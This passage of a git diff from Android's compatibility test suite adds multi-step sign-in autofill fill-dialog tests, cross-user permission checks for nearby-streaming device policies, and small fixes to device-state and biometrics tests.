+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.autofill.AutofillManager;
+import android.view.inputmethod.InputMethodManager;
+import android.widget.Button;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import com.google.common.collect.ImmutableList;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class MultipleStepsSignInActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "AbstractMultipleStepsActivity";
+    private static final String MESSAGE_STEP = "Showing step ";
+    private static final String MESSAGE_FINISH = "Finished";
+
+    private static MultipleStepsSignInActivity sCurrentActivity;
+
+    /**
+     * Gests the latest instance.
+     *
+     * <p>Typically used in test cases that rotates the activity
+     */
+    @SuppressWarnings("unchecked") // Its up to caller to make sure it's setting the right one
+    public static <T extends MultipleStepsSignInActivity> T getCurrentActivity() {
+        return (T) sCurrentActivity;
+    }
+
+    private TextView mStatus;
+    private ViewGroup mContainer;
+
+    private Button mPrevButton;
+    private Button mNextButton;
+    private Button mFinishButton;
+
+    private int mCurrentStep;
+    private boolean mFinished;
+
+    protected List<LinearLayout> mSteps;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        sCurrentActivity = this;
+        mCurrentStep = 0;
+
+        setContentView(R.layout.multiple_steps_activity);
+
+        mStatus = findViewById(R.id.status);
+        mContainer = findViewById(R.id.container);
+        mPrevButton = findViewById(R.id.prev);
+        mNextButton = findViewById(R.id.next);
+        mFinishButton = findViewById(R.id.finish);
+
+        View.OnClickListener onClickListener = (v) -> {
+            if (v == mPrevButton) {
+                showStep(mCurrentStep - 1);
+            } else if (v == mNextButton) {
+                showStep(mCurrentStep + 1);
+            } else {
+                finishSelf();
+            }
+        };
+        mPrevButton.setOnClickListener(onClickListener);
+        mNextButton.setOnClickListener(onClickListener);
+        mFinishButton.setOnClickListener(onClickListener);
+
+        mSteps = getStepsMap();
+
+        showStep(0);
+    }
+
+    public void nextPage() {
+        runOnUiThread(() -> mNextButton.performClick());
+    }
+
+    public void prevPage() {
+        runOnUiThread(() -> mPrevButton.performClick());
+    }
+
+    public void hideSoftInput() {
+        final InputMethodManager imm = getSystemService(InputMethodManager.class);
+        imm.hideSoftInputFromWindow(getWindow().getDecorView().getWindowToken(), 0);
+    }
+
+    private void showStep(int i) {
+        if (mFinished || i < 0 || i >= mSteps.size()) {
+            Log.w(TAG, String.format("Invalid step: %d (finished=%b, range=[%d,%d])",
+                    i, mFinished, 0, mSteps.size() - 1));
+            return;
+        }
+
+        View step = mSteps.get(i);
+        mStatus.setText(MESSAGE_STEP + i);
+        Log.d(TAG, "Showing step " + i);
+
+        if (mContainer.getChildCount() > 0) {
+            mContainer.removeViewAt(0);
+        }
+        mContainer.addView(step);
+        mCurrentStep = i;
+
+        mPrevButton.setEnabled(mCurrentStep != 0);
+        mNextButton.setEnabled(mCurrentStep != mSteps.size() - 1);
+    }
+
+    private void finishSelf() {
+        mStatus.setText(MESSAGE_FINISH);
+        mContainer.removeAllViews();
+        mFinished = true;
+        AutofillManager afm = getSystemService(AutofillManager.class);
+        if (afm != null) {
+            afm.commit();
+        }
+    }
+
+    protected List<LinearLayout> getStepsMap() {
+        List<LinearLayout> steps = new ArrayList<>(2);
+        steps.add(newStep(R.layout.username));
+        steps.add(newStep(R.layout.password));
+        return ImmutableList.copyOf(steps);
+    }
+
+    private LinearLayout newStep(int resId) {
+        final LayoutInflater inflater = LayoutInflater.from(this);
+        return (LinearLayout) inflater.inflate(resId, null);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/MultipleStepsSignInActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/MultipleStepsSignInActivityTest.java
new file mode 100644
index 0000000..cd942b6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/MultipleStepsSignInActivityTest.java
@@ -0,0 +1,261 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dialog;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.assertMockImeStatus;
+import static android.autofillservice.cts.testcore.Helper.enableFillDialogFeature;
+import static android.service.autofill.FillRequest.FLAG_SUPPORTS_FILL_DIALOG;
+
+import android.autofillservice.cts.activities.MultipleStepsSignInActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.content.Intent;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Test;
+
+
+/**
+ * The tests for showing fill dialog for an Activity that only updates the content for login
+ * steps, the app doesn't go to the new activty.
+ */
+public class MultipleStepsSignInActivityTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+    MultipleStepsSignInActivity mActivity;
+    @After
+    public void teardown() {
+        if (mActivity != null) {
+            mActivity.finish();
+        }
+        mActivity = null;
+    }
+    @Test
+    public void testShowFillDialog_contentChanged_shownFillDialog() throws Exception {
+        // Enable feature and test service
+        enableFillDialogFeature(sContext);
+        enableService();
+
+        // Set response
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("Menu Username"))
+                        .setDialogPresentation(createPresentation("Dialog Username"))
+                        .build())
+                .setDialogHeader(createPresentation("Dialog Header"))
+                .setDialogTriggerIds(ID_USERNAME);
+        sReplier.addResponse(builder.build());
+
+        // Start activity
+        mActivity = startMultipleStepsSignInActivity();
+
+        // Check onFillRequest has the flag: FLAG_SUPPORTS_FILL_DIALOG
+        final InstrumentedAutoFillService.FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG);
+
+        // Click on username field to trigger fill dialog
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        // Verify fill dialog shown
+        mUiBot.assertFillDialogDatasets("Dialog Username");
+
+        // Do nothing for fill dialog. Click outside to hide fill dialog and IME
+        hideFillDialogAndIme(mActivity);
+
+        // Set response for second page
+        final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Menu Password"))
+                        .setDialogPresentation(createPresentation("Dialog Password"))
+                        .build())
+                .setDialogHeader(createPresentation("Dialog Header"))
+                .setDialogTriggerIds(ID_PASSWORD);
+        sReplier.addResponse(builder2.build());
+
+        mActivity.nextPage();
+
+        mUiBot.assertShownByRelativeId(ID_PASSWORD_LABEL);
+
+        // Check onFillRequest has the flag: FLAG_SUPPORTS_FILL_DIALOG
+        final InstrumentedAutoFillService.FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_SUPPORTS_FILL_DIALOG);
+
+        // Click on password field to trigger fill dialog
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        // Verify fill dialog shown
+        mUiBot.assertFillDialogDatasets("Dialog Password");
+    }
+
+    @Test
+    public void testShowFillDialog_backPrevPage_notShownFillDialog() throws Exception {
+        // Enable feature and test service
+        enableFillDialogFeature(sContext);
+        enableService();
+
+        // Set response
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("Menu Username"))
+                        .setDialogPresentation(createPresentation("Dialog Username"))
+                        .build())
+                .setDialogHeader(createPresentation("Dialog Header"))
+                .setDialogTriggerIds(ID_USERNAME);
+        sReplier.addResponse(builder.build());
+
+        // Start activity
+        mActivity = startMultipleStepsSignInActivity();
+
+        Log.e("tymtest", "autofill etst 1");
+        // Check onFillRequest has the flag: FLAG_SUPPORTS_FILL_DIALOG
+        final InstrumentedAutoFillService.FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG);
+        Log.e("tymtest", "autofill etst 2");
+        // Set response for second page
+        final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Menu Password"))
+                        .setDialogPresentation(createPresentation("Dialog Password"))
+                        .build())
+                .setDialogHeader(createPresentation("Dialog Header"))
+                .setDialogTriggerIds(ID_PASSWORD);
+        sReplier.addResponse(builder2.build());
+
+        // Do nothing on the 1st page and go to next page
+        mActivity.nextPage();
+
+        mUiBot.assertShownByRelativeId(ID_PASSWORD_LABEL);
+
+        // Check onFillRequest has the flag: FLAG_SUPPORTS_FILL_DIALOG
+        final InstrumentedAutoFillService.FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_SUPPORTS_FILL_DIALOG);
+
+        // Click on password field to trigger fill dialog
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        // Verify fill dialog shown
+        mUiBot.assertFillDialogDatasets("Dialog Password");
+
+        // Go back previous page
+        mActivity.prevPage();
+
+        mUiBot.assertShownByRelativeId(ID_USERNAME_LABEL);
+
+        // Verify there is no any fill request because response already exists
+        sReplier.assertNoUnhandledFillRequests();
+
+        // Click on username field to trigger menu UI
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        // Verify fill menu shown
+        mUiBot.assertDatasets("Menu Username");
+    }
+
+    @Test
+    public void testShowFillDialog_doNothingThenBackPrevPage_notShownFillDialog() throws Exception {
+        // Enable feature and test service
+        enableFillDialogFeature(sContext);
+        enableService();
+
+        // Set response
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("Menu Username"))
+                        .setDialogPresentation(createPresentation("Dialog Username"))
+                        .build())
+                .setDialogHeader(createPresentation("Dialog Header"))
+                .setDialogTriggerIds(ID_USERNAME);
+        sReplier.addResponse(builder.build());
+
+        // Start activity
+        mActivity = startMultipleStepsSignInActivity();
+
+        // Check onFillRequest has the flag: FLAG_SUPPORTS_FILL_DIALOG
+        final InstrumentedAutoFillService.FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG);
+
+        // Set response for second page
+        final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Menu Password"))
+                        .setDialogPresentation(createPresentation("Dialog Password"))
+                        .build())
+                .setDialogHeader(createPresentation("Dialog Header"))
+                .setDialogTriggerIds(ID_PASSWORD);
+        sReplier.addResponse(builder2.build());
+
+        // Do nothing on the 1st page and go to next page
+        mActivity.nextPage();
+
+        mUiBot.assertShownByRelativeId(ID_PASSWORD_LABEL);
+
+        // Check onFillRequest has the flag: FLAG_SUPPORTS_FILL_DIALOG
+        final InstrumentedAutoFillService.FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest2.flags, FLAG_SUPPORTS_FILL_DIALOG);
+
+        // Do nothing and go back previous page
+        mActivity.prevPage();
+
+        mUiBot.assertShownByRelativeId(ID_USERNAME_LABEL);
+
+        // Verify there is no any fill request because response already exists
+        sReplier.assertNoUnhandledFillRequests();
+
+        // Click on username field to trigger menu UI
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        // Verify fill menu shown
+        mUiBot.assertDatasets("Menu Username");
+    }
+
+    private void hideFillDialogAndIme(MultipleStepsSignInActivity activity) throws Exception {
+        // Hide fill dialog via touch outside, the ime will appear.
+        mUiBot.touchOutsideDialog();
+        mUiBot.waitForIdleSync();
+
+        assertMockImeStatus(activity, /* expectedImeShow= */ true);
+
+        // Hide the IME before the next test.
+        activity.hideSoftInput();
+
+        assertMockImeStatus(activity, /* expectedImeShow= */ false);
+    }
+
+    private MultipleStepsSignInActivity startMultipleStepsSignInActivity() throws Exception {
+        final Intent intent = new Intent(mContext, MultipleStepsSignInActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+        mUiBot.assertShownByRelativeId(ID_USERNAME_LABEL);
+        return MultipleStepsSignInActivity.getCurrentActivity();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index c462baf..fc34db6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -39,7 +39,7 @@
 import android.app.assist.AssistStructure.ViewNode;
 import android.app.assist.AssistStructure.WindowNode;
 import android.autofillservice.cts.R;
-import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
 import android.content.AutofillOptions;
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -1705,7 +1705,7 @@
     /**
      * Asserts whether mock IME is showing
      */
-    public static void assertMockImeStatus(LoginActivity activity,
+    public static void assertMockImeStatus(AbstractAutoFillActivity activity,
             boolean expectedImeShow) throws Exception {
         Timeouts.MOCK_IME_TIMEOUT.run("assertMockImeStatus(" + expectedImeShow + ")",
                 () -> {
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NearbyAppStreamingPolicyTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NearbyAppStreamingPolicyTest.java
index 5ffe5fa..caa9d2e 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NearbyAppStreamingPolicyTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NearbyAppStreamingPolicyTest.java
@@ -18,6 +18,10 @@
 
 import static android.Manifest.permission.READ_NEARBY_STREAMING_POLICY;
 
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_ACROSS_USERS;
+import static com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_ACROSS_USERS_FULL;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
@@ -28,17 +32,21 @@
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.PolicyAppliesTest;
 import com.android.bedstead.harrier.annotations.enterprise.PolicyDoesNotApplyTest;
 import com.android.bedstead.harrier.policies.NearbyAppStreamingPolicy;
 import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.permissions.PermissionContext;
 
-import org.junit.Before;
 import org.junit.ClassRule;
 import org.junit.Rule;
+import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(BedsteadJUnit4.class)
@@ -52,55 +60,68 @@
     private static final DevicePolicyManager sLocalDevicePolicyManager =
             sContext.getSystemService(DevicePolicyManager.class);
 
-    private RemoteDevicePolicyManager mDevicePolicyManager;
-
-    @Before
-    public void setUp() {
-        mDevicePolicyManager = sDeviceState.dpc().devicePolicyManager();
-    }
-
     @PolicyAppliesTest(policy = NearbyAppStreamingPolicy.class)
     public void getNearbyAppStreamingPolicy_defaultToSameManagedAccountOnly() {
-        assertThat(mDevicePolicyManager.getNearbyAppStreamingPolicy())
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+
+        assertThat(dpm.getNearbyAppStreamingPolicy())
                 .isEqualTo(DevicePolicyManager.NEARBY_STREAMING_SAME_MANAGED_ACCOUNT_ONLY);
     }
 
     @PolicyAppliesTest(policy = NearbyAppStreamingPolicy.class)
     public void setNearbyAppStreamingPolicy_policyApplied_works() {
-        int originalPolicy = mDevicePolicyManager.getNearbyAppStreamingPolicy();
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+        int originalPolicy = dpm.getNearbyAppStreamingPolicy();
 
-        mDevicePolicyManager.setNearbyAppStreamingPolicy(
-                DevicePolicyManager.NEARBY_STREAMING_DISABLED);
+        dpm.setNearbyAppStreamingPolicy(DevicePolicyManager.NEARBY_STREAMING_DISABLED);
 
         try {
-            assertThat(mDevicePolicyManager.getNearbyAppStreamingPolicy())
+            assertThat(dpm.getNearbyAppStreamingPolicy())
                     .isEqualTo(DevicePolicyManager.NEARBY_STREAMING_DISABLED);
         } finally {
-            mDevicePolicyManager.setNearbyAppStreamingPolicy(originalPolicy);
+            dpm.setNearbyAppStreamingPolicy(originalPolicy);
         }
     }
 
     @CannotSetPolicyTest(policy = NearbyAppStreamingPolicy.class)
     public void setNearbyAppStreamingPolicy_policyIsNotAllowedToBeSet_throwsException() {
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+
         assertThrows(SecurityException.class, () ->
-                mDevicePolicyManager.setNearbyAppStreamingPolicy(
-                        DevicePolicyManager.NEARBY_STREAMING_DISABLED));
+                dpm.setNearbyAppStreamingPolicy(DevicePolicyManager.NEARBY_STREAMING_DISABLED));
     }
 
     @Postsubmit(reason = "new test")
     @PolicyDoesNotApplyTest(policy = NearbyAppStreamingPolicy.class)
     @EnsureHasPermission(READ_NEARBY_STREAMING_POLICY)
     public void setNearbyAppStreamingPolicy_setEnabled_doesNotApply() {
-        int originalPolicy = mDevicePolicyManager.getNearbyAppStreamingPolicy();
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+        int originalPolicy = dpm.getNearbyAppStreamingPolicy();
 
-        mDevicePolicyManager
-                .setNearbyAppStreamingPolicy(DevicePolicyManager.NEARBY_STREAMING_ENABLED);
+        dpm.setNearbyAppStreamingPolicy(DevicePolicyManager.NEARBY_STREAMING_ENABLED);
 
         try {
             assertThat(sLocalDevicePolicyManager.getNearbyAppStreamingPolicy()).isNotEqualTo(
                     DevicePolicyManager.NEARBY_STREAMING_ENABLED);
         } finally {
-            mDevicePolicyManager.setNearbyAppStreamingPolicy(originalPolicy);
+            dpm.setNearbyAppStreamingPolicy(originalPolicy);
         }
     }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser(installInstrumentedApp = TRUE)
+    @EnsureHasPermission(READ_NEARBY_STREAMING_POLICY)
+    @EnsureDoesNotHavePermission({INTERACT_ACROSS_USERS, INTERACT_ACROSS_USERS_FULL})
+    public void getNearbyAppStreamingPolicy_calledAcrossUsers_throwsException() {
+        DevicePolicyManager dpm;
+        try (PermissionContext p = TestApis.permissions()
+                .withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            dpm = TestApis.context()
+                    .instrumentedContextAsUser(sDeviceState.secondaryUser())
+                    .getSystemService(DevicePolicyManager.class);
+        }
+
+        assertThrows(SecurityException.class, () -> dpm.getNearbyAppStreamingPolicy());
+    }
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NearbyNotificationStreamingPolicyTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NearbyNotificationStreamingPolicyTest.java
index 559b79f..bb4113a 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NearbyNotificationStreamingPolicyTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NearbyNotificationStreamingPolicyTest.java
@@ -18,6 +18,10 @@
 
 import static android.Manifest.permission.READ_NEARBY_STREAMING_POLICY;
 
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_ACROSS_USERS;
+import static com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_ACROSS_USERS_FULL;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
@@ -28,17 +32,21 @@
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.PolicyAppliesTest;
 import com.android.bedstead.harrier.annotations.enterprise.PolicyDoesNotApplyTest;
 import com.android.bedstead.harrier.policies.NearbyNotificationStreamingPolicy;
 import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.permissions.PermissionContext;
 
-import org.junit.Before;
 import org.junit.ClassRule;
 import org.junit.Rule;
+import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(BedsteadJUnit4.class)
@@ -52,38 +60,35 @@
     private static final DevicePolicyManager sLocalDevicePolicyManager =
             sContext.getSystemService(DevicePolicyManager.class);
 
-    private RemoteDevicePolicyManager mDevicePolicyManager;
-
-    @Before
-    public void setUp() {
-        mDevicePolicyManager = sDeviceState.dpc().devicePolicyManager();
-    }
-
     @PolicyAppliesTest(policy = NearbyNotificationStreamingPolicy.class)
     public void getNearbyNotificationStreamingPolicy_defaultToSameManagedAccountOnly() {
-        assertThat(mDevicePolicyManager.getNearbyNotificationStreamingPolicy())
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+
+        assertThat(dpm.getNearbyNotificationStreamingPolicy())
                 .isEqualTo(DevicePolicyManager.NEARBY_STREAMING_SAME_MANAGED_ACCOUNT_ONLY);
     }
 
     @PolicyAppliesTest(policy = NearbyNotificationStreamingPolicy.class)
     public void setNearbyNotificationStreamingPolicy_policyApplied_works() {
-        int originalPolicy = mDevicePolicyManager.getNearbyNotificationStreamingPolicy();
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+        int originalPolicy = dpm.getNearbyNotificationStreamingPolicy();
 
-        mDevicePolicyManager.setNearbyNotificationStreamingPolicy(
-                DevicePolicyManager.NEARBY_STREAMING_DISABLED);
+        dpm.setNearbyNotificationStreamingPolicy(DevicePolicyManager.NEARBY_STREAMING_DISABLED);
 
         try {
-            assertThat(mDevicePolicyManager.getNearbyNotificationStreamingPolicy())
+            assertThat(dpm.getNearbyNotificationStreamingPolicy())
                     .isEqualTo(DevicePolicyManager.NEARBY_STREAMING_DISABLED);
         } finally {
-            mDevicePolicyManager.setNearbyAppStreamingPolicy(originalPolicy);
+            dpm.setNearbyAppStreamingPolicy(originalPolicy);
         }
     }
 
     @CannotSetPolicyTest(policy = NearbyNotificationStreamingPolicy.class)
     public void setNearbyNotificationStreamingPolicy_policyIsNotAllowedToBeSet_throwsException() {
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+
         assertThrows(SecurityException.class, () ->
-                mDevicePolicyManager.setNearbyNotificationStreamingPolicy(
+                dpm.setNearbyNotificationStreamingPolicy(
                         DevicePolicyManager.NEARBY_STREAMING_DISABLED));
     }
 
@@ -91,17 +96,34 @@
     @PolicyDoesNotApplyTest(policy = NearbyNotificationStreamingPolicy.class)
     @EnsureHasPermission(READ_NEARBY_STREAMING_POLICY)
     public void setNearbyNotificationStreamingPolicy_setEnabled_doesNotApply() {
-        int originalPolicy = mDevicePolicyManager.getNearbyNotificationStreamingPolicy();
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+        int originalPolicy = dpm.getNearbyNotificationStreamingPolicy();
 
-        mDevicePolicyManager
-                .setNearbyNotificationStreamingPolicy(DevicePolicyManager.NEARBY_STREAMING_ENABLED);
+        dpm.setNearbyNotificationStreamingPolicy(DevicePolicyManager.NEARBY_STREAMING_ENABLED);
 
         try {
             assertThat(
                     sLocalDevicePolicyManager.getNearbyNotificationStreamingPolicy()).isNotEqualTo(
                     DevicePolicyManager.NEARBY_STREAMING_ENABLED);
         } finally {
-            mDevicePolicyManager.setNearbyAppStreamingPolicy(originalPolicy);
+            dpm.setNearbyAppStreamingPolicy(originalPolicy);
         }
     }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser(installInstrumentedApp = TRUE)
+    @EnsureHasPermission(READ_NEARBY_STREAMING_POLICY)
+    @EnsureDoesNotHavePermission({INTERACT_ACROSS_USERS, INTERACT_ACROSS_USERS_FULL})
+    public void getNearbyNotificationStreamingPolicy_calledAcrossUsers_throwsException() {
+        DevicePolicyManager dpm;
+        try (PermissionContext p = TestApis.permissions()
+                .withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            dpm = TestApis.context()
+                    .instrumentedContextAsUser(sDeviceState.secondaryUser())
+                    .getSystemService(DevicePolicyManager.class);
+        }
+
+        assertThrows(SecurityException.class, () -> dpm.getNearbyNotificationStreamingPolicy());
+    }
 }
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
index 0bb8e56..09afde3 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
@@ -198,7 +198,8 @@
      * triggered with a value equal to the requested state.
      */
     @Test
-    public void testRequestStateSucceedsAsTopApp_ifStateDefinedAsAvailableForAppsToRequest() {
+    public void testRequestStateSucceedsAsTopApp_ifStateDefinedAsAvailableForAppsToRequest()
+            throws Throwable {
         final DeviceStateManager manager = getDeviceStateManager();
         final int[] supportedStates = manager.getSupportedStates();
 
@@ -231,7 +232,7 @@
         // checks that we were able to find a valid state to request.
         assumeTrue(nextState != INVALID_DEVICE_STATE);
 
-        activity.requestDeviceStateChange(nextState);
+        runWithControlDeviceStatePermission(() -> activity.requestDeviceStateChange(nextState));
 
         PollingCheck.waitFor(TIMEOUT, () -> callback.mCurrentState == nextState);
 
@@ -291,7 +292,7 @@
      * in a registered callback being triggered with a value equal to the base state.
      */
     @Test
-    public void testCancelStateRequestFromNewActivity() throws IllegalArgumentException {
+    public void testCancelStateRequestFromNewActivity() throws Throwable {
         final DeviceStateManager manager = getDeviceStateManager();
         final int[] supportedStates = manager.getSupportedStates();
         // We want to verify that the app can change device state
@@ -314,7 +315,7 @@
                 DEFAULT_DISPLAY
         );
 
-        DeviceStateTestActivity activity = activitySession.getActivity();
+        final DeviceStateTestActivity activity = activitySession.getActivity();
 
         int originalState = callback.mCurrentState;
 
@@ -325,7 +326,7 @@
         // checks that we were able to find a valid state to request.
         assumeTrue(nextState != INVALID_DEVICE_STATE);
 
-        activity.requestDeviceStateChange(nextState);
+        runWithControlDeviceStatePermission(() -> activity.requestDeviceStateChange(nextState));
 
         PollingCheck.waitFor(TIMEOUT, () -> callback.mCurrentState == nextState);
 
@@ -344,8 +345,8 @@
         // and launching the second activity.
         assertEquals(nextState, callback.mCurrentState);
 
-        activity = secondActivitySession.getActivity();
-        activity.cancelOverriddenState();
+        final DeviceStateTestActivity activity2 = secondActivitySession.getActivity();
+        activity2.cancelOverriddenState();
 
         PollingCheck.waitFor(TIMEOUT, () -> callback.mCurrentState == originalState);
 
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
index 1bb7eea..a981703 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
@@ -523,6 +523,12 @@
         mInstrumentation.waitForIdleSync();
         Utils.waitForBusySensor(sensorId, this::getSensorStates);
 
+        //Wait for enrollment operation in biometrics sensor to be complete before
+        //retrieving enrollment results. The operation takes a little time especically
+        //on Cutterfish where multiple biometric operations must be completed during
+        //the enrollent
+        //TODO(b/217275524)
+        Thread.sleep(200);
         session.finishEnroll(userId);
         mInstrumentation.waitForIdleSync();
         Utils.waitForIdleService(this::getSensorStates);
diff --git a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
index 2cc72fa..b692bd1 100644
--- a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
@@ -19,6 +19,8 @@
           package="android.server.wm.jetpack"
